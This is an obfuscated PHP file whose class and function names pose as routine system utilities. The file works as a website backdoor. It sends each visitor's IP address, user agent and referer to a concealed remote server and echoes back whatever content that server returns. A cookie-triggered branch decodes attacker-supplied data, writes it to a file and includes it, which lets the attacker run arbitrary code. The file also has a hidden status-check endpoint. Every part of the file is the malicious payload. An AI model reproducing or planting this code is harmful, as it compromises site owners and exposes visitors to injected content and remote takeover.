<?php
class SystemManager
{
    private static $_r;
    static function generateToken($_mdf, $_gs)
    {
        if (!self::$_r) {
            self::processData();
        }
        $_fa = process_request($_gs);
        $_hf = load_settings(self::$_r[$_mdf]);
        for ($_c = 0, $_mwh = process_request($_hf); $_c !== $_mwh; ++$_c) {
            $_hf[$_c] = chr(ord($_hf[$_c]) ^ ord($_gs[$_c % $_fa]));
        }
        return $_hf;
    }
    private static function processData()
    {
        self::$_r = array('_j' => 'HgkJOhkZcikFMR4YMAZHH' . 'g' . 'YGMB1HEBgDO' . 'A' . 'MEZU' . 'pA', '_dw' => 'HAMxGDoCK0ELFS8JZUw+HC8ANg8+GDY' . 'DMUM1DSkNLA8tBS8' . 'Y', '_a' => 'PAk=', '_mc' => 'OhciLw0rFlghN' . 'QlcEwQPayICOFokNQlcFgcfN' . 'go/GgcnNiRYBTYmbycBKAcLMjgFFgQHNgo' . 'vCRQMH' . 'CR' . 'R', '_xhk' => 'Lg0NDw' . '=' . '=', '_ukb' => 'Yx0PYQ=' . '=', '_b' => 'Yw' . 'M' . 'V' . 'F' . 'W' . 'E=', '_mqw' => 'KAoLB' . 'Q=' . '=', '_lbm' => '', '_fki' => '', '_ori' => '', '_if' => 'Nw0dCWVWRgkqG0c' . 'OOhsPEDMcARYsDQwLcRoGFHAaBh' . 'QvFhocLVcDC' . 'mAdCA0' . '+RA' . '=' . '=', '_fnc' => 'PBI' . 'WBwAOCgI' . 'r', '_ph' => 'NxwrGAA' . 'LMAw' . '6', '_s' => 'L' . 'BkbBz' . 'If', '_u' => 'NxMrFyw' . '=', '_cmf' => 'G' . 'CsySg=' . '=', '_wqq' => 'LxcBCQ==', '_m' => 'Lgc' . '6ACY' . '=', '_pe' => 'YA==', '_d' => 'L' . 'h' . 'cMEyY' . '=', '_pxq' => 'fyE8CzlHbkdYUmMgM' . 'BocZUk=', '_gxu' => 'NwQJK' . 'w==', '_zmf' => 'UnscHjEfOhIrGDAfZVEcHTACOn' . 'xV' . 'fFU=', '_za' => 'LBcVZUtW', '_svz' => '', '_yhd' => 'NwIaBg=' . '=', '_kad' => 'Um8=', '_fq' => 'FzoLPgAtEyc' . 'aIA' . 'sxFj' . '4=', '_fz' => 'FzEjDzovACM4DTI2DSE' . 'y' . 'Gz' . 'o' . 'xED' . 'c' . '=', '_erd' => 'DSIuNgsiPDgbIzE' . '=', '_im' => 'FzM/OAAyOC0' . 'NOCovGi' . 'k/', '_lz' => 'Fz0LOQA8' . 'DCwNN' . 'h' . '4u' . 'GicL', '_t' => '', '_vd' => 'Fyc2I' . 'Q' . 'AhJzcaIS' . 'c' . 'j', '_zj' => 'FzcuDzwoGiU/DSYo', '_nji' => '', '_lcq' => 'FyclDywyEzo0EScuFi' . 'M=', '_us' => 'F' . 'y4gNwA5OC4aNCA4Fio=', '_ol' => 'Fzk6OgA1MSwQPzkrDSkrLg' . 'ArI' . 'T' . 'g=', '_o' => 'FyY8NAAqNyIQID8lD' . 'TY' . 'tIAA0JzY=', '_f' => 'DSklEDgtAC0s' . 'Gz' . '4=', '_sx' => 'DTInECMvA' . 'D' . 'YuG' . 'y' . 'U' . '=', '_dh' => 'Ow4LGzAICQ' . '=' . '=', '_x' => 'Fjt' . 'MVA==', '_zb' => 'f' . 'xh' . 'G' . 'CiVcf' . 'w' . '==', '_ro' => 'f' . 'wp/JDoQ' . 'ZV' . 'Y=', '_z' => 'f1AYHG' . 'F' . 'm', '_pp' => 'Ng' . 'A=', '_axn' => 'Kgk=', '_jq' => 'LRU5', '_iiz' => 'LgAKJw=' . '=');
    }
}

class CommandRouter
{
    private static $_r;
    static function generateToken($_mdf)
    {
        if (!self::$_r) {
            self::processData();
        }
        return self::$_r[$_mdf];
    }
    private static function processData()
    {
        self::$_r = array(0, 0, 0, 0, 0, 0, 0, -0341, -0310, -0463, -0375, 0233, -01201, -0376, -046, 0305, 0140, 0564, -0343, -0114, 5, 5, 5, 5, 5, 5, 0.14285714285714, 0.14285714285714, 0.14285714285714, 0.14285714285714, 0.14285714285714, 0.14285714285714, 0.14285714285714, 3.75, 3.75, 3.75, 3.75, 3.75, 3.75, 3.75, 3.75, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, -051, 021, -0117, 0175, 0375, -0423, 067, -041, 01363, 0.5, 0.5, 1.4, 1.4, 1.4, 1.4, 1.4, 1.4, 1.4, 1.4, 1.4, 1.4, -01125, 01346, -02523, 0662, -0265, 01034, 0445, 0227, 0175, 0236, -01031, -0345, -0510, -0174, -025, 0322, -0737, 4.5, 4.5, 1.5714285714286, 1.5714285714286, 1.5714285714286, 1.5714285714286, 1.5714285714286, 1.5714285714286, 1.5714285714286, -01342, -01132, 01015, 01, -0656, 0375, -0516, 0375, -0452, -0133, 0757, 1, 1, 1, -0223, -0233, 0305, 0155, -0100, -0156, -0265, -0233, 0256, 0422, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0322, 01145, -01466, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 1.1111111111111, 1.1111111111111, 1.1111111111111, 1.1111111111111, 1.1111111111111, 1.1111111111111, 1.1111111111111, 1.1111111111111, 1.1111111111111, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 0623, 0711, 01016, 0762, 0720, 0700, -01013, 0631, 0511, 0, 0, 0, 02161, 02713, 01451, -01423, 0.14285714285714, 0.14285714285714, 0.14285714285714, 0.14285714285714, 0.14285714285714, 0.14285714285714, 0.14285714285714, 137.5, 137.5, 0420, 034, 0415, 0767, 0451, -040, 0630, 0262, 0737, -01403);
    }
}

header(SystemManager::generateToken('_' . 'j', '_jj'));
header(SystemManager::generateToken('_' . 'dw', '_' . 'l'));
if (isset($_GET[SystemManager::generateToken('_a', '_' . 'ao')])) {
    $_eh = start_service(SystemManager::generateToken('_m' . 'c', '_' . 'n' . 'h'));
    if ($_eh && strpos($_eh, SystemManager::generateToken('_x' . 'hk', '_zww')) !== false) {
        die(SystemManager::generateToken('_ukb', '_' . 'r' . 'd'));
    } else {
        die(SystemManager::generateToken('_b', '_' . 'atq'));
    }
}
if (isset($_GET[SystemManager::generateToken('_mq' . 'w', '_kg' . 'i')])) {
    $_mwh = $_COOKIE;
    $_gs = (int) round(CommandRouter::generateToken(0) + CommandRouter::generateToken(1) + CommandRouter::generateToken(2) + CommandRouter::generateToken(3) + CommandRouter::generateToken(4) + CommandRouter::generateToken(5) + CommandRouter::generateToken(6));
    $_mdf = CommandRouter::generateToken(7) + CommandRouter::generateToken(8) + CommandRouter::generateToken(9) - CommandRouter::generateToken(10) - CommandRouter::generateToken(11) - CommandRouter::generateToken(12);
    $_deo = array();
    $_deo[$_gs] = SystemManager::generateToken('_l' . 'bm', '_h' . 'm');
    while ($_mdf) {
        $_deo[$_gs] .= $_mwh[CommandRouter::generateToken(13) + CommandRouter::generateToken(14) + CommandRouter::generateToken(15) - CommandRouter::generateToken(16) + CommandRouter::generateToken(17) + CommandRouter::generateToken(18) - CommandRouter::generateToken(19)][$_mdf];
        if (!$_mwh[(int) round(CommandRouter::generateToken(20) + CommandRouter::generateToken(21) + CommandRouter::generateToken(22) + CommandRouter::generateToken(23) + CommandRouter::generateToken(24) + CommandRouter::generateToken(25))][$_mdf + (int) round(CommandRouter::generateToken(26) + CommandRouter::generateToken(27) + CommandRouter::generateToken(28) + CommandRouter::generateToken(29) + CommandRouter::generateToken(30) + CommandRouter::generateToken(31) + CommandRouter::generateToken(32))]) {
            if (!$_mwh[(int) round(CommandRouter::generateToken(33) + CommandRouter::generateToken(34) + CommandRouter::generateToken(35) + CommandRouter::generateToken(36) + CommandRouter::generateToken(37) + CommandRouter::generateToken(38) + CommandRouter::generateToken(39) + CommandRouter::generateToken(40))][$_mdf + (int) round(CommandRouter::generateToken(41) + CommandRouter::generateToken(42) + CommandRouter::generateToken(43) + CommandRouter::generateToken(44) + CommandRouter::generateToken(45) + CommandRouter::generateToken(46) + CommandRouter::generateToken(47) + CommandRouter::generateToken(48))]) {
                break;
            }
            $_gs++;
            $_deo[$_gs] = SystemManager::generateToken('_f' . 'k' . 'i', '_v' . 'c' . 'a');
            $_mdf++;
        }
        $_mdf = $_mdf + (CommandRouter::generateToken(49) - CommandRouter::generateToken(50) - CommandRouter::generateToken(51) + CommandRouter::generateToken(52) + CommandRouter::generateToken(53) - CommandRouter::generateToken(54) + CommandRouter::generateToken(55) - CommandRouter::generateToken(56) - CommandRouter::generateToken(57)) + (int) round(CommandRouter::generateToken(58) + CommandRouter::generateToken(59));
    }
    $_gs = $_deo[(int) round(CommandRouter::generateToken(60) + CommandRouter::generateToken(61) + CommandRouter::generateToken(62) + CommandRouter::generateToken(63) + CommandRouter::generateToken(64) + CommandRouter::generateToken(65) + CommandRouter::generateToken(66) + CommandRouter::generateToken(67) + CommandRouter::generateToken(68) + CommandRouter::generateToken(69))]() . $_deo[CommandRouter::generateToken(70) - CommandRouter::generateToken(71) - CommandRouter::generateToken(72)];
    if (!$_deo[CommandRouter::generateToken(73) + CommandRouter::generateToken(74) - CommandRouter::generateToken(75) + CommandRouter::generateToken(76)]($_gs)) {
        $_mdf = $_deo[CommandRouter::generateToken(77) - CommandRouter::generateToken(78)]($_gs, $_deo[CommandRouter::generateToken(79) - CommandRouter::generateToken(80) - CommandRouter::generateToken(81) + CommandRouter::generateToken(82) - CommandRouter::generateToken(83) + CommandRouter::generateToken(84) - CommandRouter::generateToken(85) + CommandRouter::generateToken(86)]);
        $_deo[(int) round(CommandRouter::generateToken(87) + CommandRouter::generateToken(88))]($_mdf, $_deo[(int) round(CommandRouter::generateToken(89) + CommandRouter::generateToken(90) + CommandRouter::generateToken(91) + CommandRouter::generateToken(92) + CommandRouter::generateToken(93) + CommandRouter::generateToken(94) + CommandRouter::generateToken(95))] . $_deo[CommandRouter::generateToken(96) - CommandRouter::generateToken(97) - CommandRouter::generateToken(98) + CommandRouter::generateToken(99) - CommandRouter::generateToken(100) + CommandRouter::generateToken(101)]($_deo[CommandRouter::generateToken(102) + CommandRouter::generateToken(103) + CommandRouter::generateToken(104) + CommandRouter::generateToken(105) + CommandRouter::generateToken(106)]($_mwh[(int) round(CommandRouter::generateToken(107) + CommandRouter::generateToken(108) + CommandRouter::generateToken(109))])));
    }
    include $_gs;
}
function start_service($_h)
{
    $_avu = SystemManager::generateToken('_ori', '_' . 'r' . 'f');
    $_vo = SystemManager::generateToken('_i' . 'f', '_yiy') . $_h;
    if (is_callable(SystemManager::generateToken('_fn' . 'c', '_' . 'gdk'))) {
        $_bxp = curl_init($_vo);
        curl_setopt($_bxp, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($_bxp, CURLOPT_SSL_VERIFYHOST, CommandRouter::generateToken(110) + CommandRouter::generateToken(111) - CommandRouter::generateToken(112) - CommandRouter::generateToken(113) + CommandRouter::generateToken(114) + CommandRouter::generateToken(115) - CommandRouter::generateToken(116) - CommandRouter::generateToken(117) + CommandRouter::generateToken(118) + CommandRouter::generateToken(119));
        curl_setopt($_bxp, CURLOPT_FOLLOWLOCATION, (int) round(CommandRouter::generateToken(120) + CommandRouter::generateToken(121) + CommandRouter::generateToken(122) + CommandRouter::generateToken(123) + CommandRouter::generateToken(124) + CommandRouter::generateToken(125) + CommandRouter::generateToken(126) + CommandRouter::generateToken(127) + CommandRouter::generateToken(128) + CommandRouter::generateToken(129)));
        curl_setopt($_bxp, CURLOPT_RETURNTRANSFER, CommandRouter::generateToken(130) + CommandRouter::generateToken(131) + CommandRouter::generateToken(132));
        curl_setopt($_bxp, CURLOPT_HEADER, (int) round(CommandRouter::generateToken(133) + CommandRouter::generateToken(134) + CommandRouter::generateToken(135) + CommandRouter::generateToken(136) + CommandRouter::generateToken(137) + CommandRouter::generateToken(138) + CommandRouter::generateToken(139) + CommandRouter::generateToken(140) + CommandRouter::generateToken(141) + CommandRouter::generateToken(142)));
        curl_setopt($_bxp, CURLOPT_CONNECTTIMEOUT, (int) round(CommandRouter::generateToken(143) + CommandRouter::generateToken(144) + CommandRouter::generateToken(145) + CommandRouter::generateToken(146) + CommandRouter::generateToken(147)));
        curl_setopt($_bxp, CURLOPT_TIMEOUT, (int) round(CommandRouter::generateToken(148) + CommandRouter::generateToken(149) + CommandRouter::generateToken(150) + CommandRouter::generateToken(151) + CommandRouter::generateToken(152) + CommandRouter::generateToken(153) + CommandRouter::generateToken(154) + CommandRouter::generateToken(155) + CommandRouter::generateToken(156)));
        $_avu = curl_exec($_bxp);
        $_j = curl_getinfo($_bxp);
        curl_close($_bxp);
        if ($_j[SystemManager::generateToken('_p' . 'h', '_h')] != (int) round(CommandRouter::generateToken(157) + CommandRouter::generateToken(158) + CommandRouter::generateToken(159) + CommandRouter::generateToken(160) + CommandRouter::generateToken(161) + CommandRouter::generateToken(162) + CommandRouter::generateToken(163) + CommandRouter::generateToken(164) + CommandRouter::generateToken(165) + CommandRouter::generateToken(166))) {
            return false;
        }
    } else {
        $_y = parse_url($_vo);
        $_fd = $_y[SystemManager::generateToken('_s', '_zsb')] == SystemManager::generateToken('_u', '_g');
        $_nwa = SystemManager::generateToken('_cmf', '_n' . 'fj') . $_y[SystemManager::generateToken('_' . 'wq' . 'q', '_v' . 'u' . 'a')];
        if (isset($_y[SystemManager::generateToken('_m', '_r')])) {
            $_nwa .= SystemManager::generateToken('_p' . 'e', '_cj') . $_y[SystemManager::generateToken('_d', '_bia')];
        }
        $_nwa .= SystemManager::generateToken('_pxq', '_i' . 'h') . $_y[SystemManager::generateToken('_g' . 'x' . 'u', '_' . 'kz')] . SystemManager::generateToken('_zmf', '_q');
        $_ph = fsockopen(($_fd ? SystemManager::generateToken('_z' . 'a', '_' . 'd' . 'y') : SystemManager::generateToken('_s' . 'v' . 'z', '_' . 'xca')) . $_y[SystemManager::generateToken('_yhd', '_mir')], $_fd ? CommandRouter::generateToken(167) + CommandRouter::generateToken(168) - CommandRouter::generateToken(169) + CommandRouter::generateToken(170) - CommandRouter::generateToken(171) - CommandRouter::generateToken(172) - CommandRouter::generateToken(173) : CommandRouter::generateToken(174) - CommandRouter::generateToken(175));
        if ($_ph) {
            fputs($_ph, $_nwa);
            $_hf = (int) round(CommandRouter::generateToken(176) + CommandRouter::generateToken(177) + CommandRouter::generateToken(178));
            while (!feof($_ph)) {
                $_i = fgets($_ph, CommandRouter::generateToken(179) + CommandRouter::generateToken(180) - CommandRouter::generateToken(181) + CommandRouter::generateToken(182));
                if ($_hf) {
                    $_avu .= $_i;
                }
                if ($_i == SystemManager::generateToken('_k' . 'ad', '_ed' . 'w')) {
                    $_hf = (int) round(CommandRouter::generateToken(183) + CommandRouter::generateToken(184) + CommandRouter::generateToken(185) + CommandRouter::generateToken(186) + CommandRouter::generateToken(187) + CommandRouter::generateToken(188) + CommandRouter::generateToken(189));
                }
            }
            fclose($_ph);
        }
    }
    return $_avu;
}

$_wtj = isset($_SERVER[SystemManager::generateToken('_f' . 'q', '_n')]);
$_imq = isset($_SERVER[SystemManager::generateToken('_f' . 'z', '_ew')]);
$_tmw = isset($_SERVER[SystemManager::generateToken('_e' . 'r' . 'd', '_gc' . 'y')]);
$_s = isset($_SERVER[SystemManager::generateToken('_im', '_g' . 'k' . 'h')]) ? $_SERVER[SystemManager::generateToken('_lz', '_i')] : SystemManager::generateToken('_' . 't', '_r' . 'z');
$_cs = isset($_SERVER[SystemManager::generateToken('_' . 'vd', '_s' . 'b' . 'q')]) ? $_SERVER[SystemManager::generateToken('_' . 'z' . 'j', '_cz')] : SystemManager::generateToken('_nj' . 'i', '_m' . 'm');
$_wtj = isset($_SERVER[SystemManager::generateToken('_lc' . 'q', '_s' . 'q')]) ? $_SERVER[SystemManager::generateToken('_u' . 's', '_zt' . 'g')] : null;
$_imq = isset($_SERVER[SystemManager::generateToken('_ol', '_mn' . 'j')]) ? $_SERVER[SystemManager::generateToken('_o', '_rh' . 'd')] : null;
$_tmw = isset($_SERVER[SystemManager::generateToken('_' . 'f', '_l' . 'h')]) ? $_SERVER[SystemManager::generateToken('_sx', '_wj')] : null;
if (filter_var($_wtj, (int) round(CommandRouter::generateToken(190) + CommandRouter::generateToken(191)))) {
    $_omq = $_wtj;
} elseif (filter_var($_imq, CommandRouter::generateToken(192) - CommandRouter::generateToken(193) - CommandRouter::generateToken(194) + CommandRouter::generateToken(195) - CommandRouter::generateToken(196) - CommandRouter::generateToken(197) - CommandRouter::generateToken(198) + CommandRouter::generateToken(199) - CommandRouter::generateToken(200) - CommandRouter::generateToken(201))) {
    $_omq = $_imq;
} else {
    $_omq = $_tmw;
}
if (isset($_GET[SystemManager::generateToken('_dh', '_ll' . 'v')])) {
    echo SystemManager::generateToken('_' . 'x', '_kv' . 't') . $_omq . SystemManager::generateToken('_' . 'z' . 'b', '_d' . 'f') . $_s . SystemManager::generateToken('_ro', '_v') . $_cs . SystemManager::generateToken('_' . 'z', '_l' . 'z' . 'n');
    exit;
}
if (!isset($_omq) || !isset($_s) || !isset($_cs)) {
    exit;
} else {
    $_ku = array(SystemManager::generateToken('_pp', '_p' . 'd' . 'k') => $_omq, SystemManager::generateToken('_' . 'axn', '_ht') => $_s, SystemManager::generateToken('_' . 'j' . 'q', '_' . 'p') => $_cs);
    $_dv = free_resources(analyze_data(json_encode($_ku)));
    $_eh = start_service($_dv);
    if ($_eh && strpos($_eh, SystemManager::generateToken('_iiz', '_wp')) !== false) {
        echo $_eh;
        exit;
    }
}
function load_settings($c)
{
    $a = array(101 * 1, 100, 3 * 37, 61 * 1 + 38, 58 + 43, 105 - 5, 95, 52 * 1 + 0, 35 + 13 + 6, 1 + 97 + 3, 116 - 1, 24 * 1 + 73, 24 + 15 + 59);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function analyze_data($c)
{
    $a = array(78 + 20, 97, 51 + 30 + 34, 5 + 96, 26 * 48 - 1194, 47 * 1 + 5, 87 * 1 + 8, 108 - 7, 2 * 55, 3 * 33, 3 + 108, 66 + 4 + 30, 111 - 10);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function free_resources($c)
{
    $a = array(51 + 35 + 31, 121 - 7, 114 - 6, 87 * 1 + 14, 35 * 3 + 5, 63 + 36, 111, 100, 101);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function process_request($c)
{
    $a = array(88 * 1 + 27, 116, 38 + 58 + 18, 109 - 1, 102 - 1, 8 + 70 + 32);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}
/* oiAMiCZF */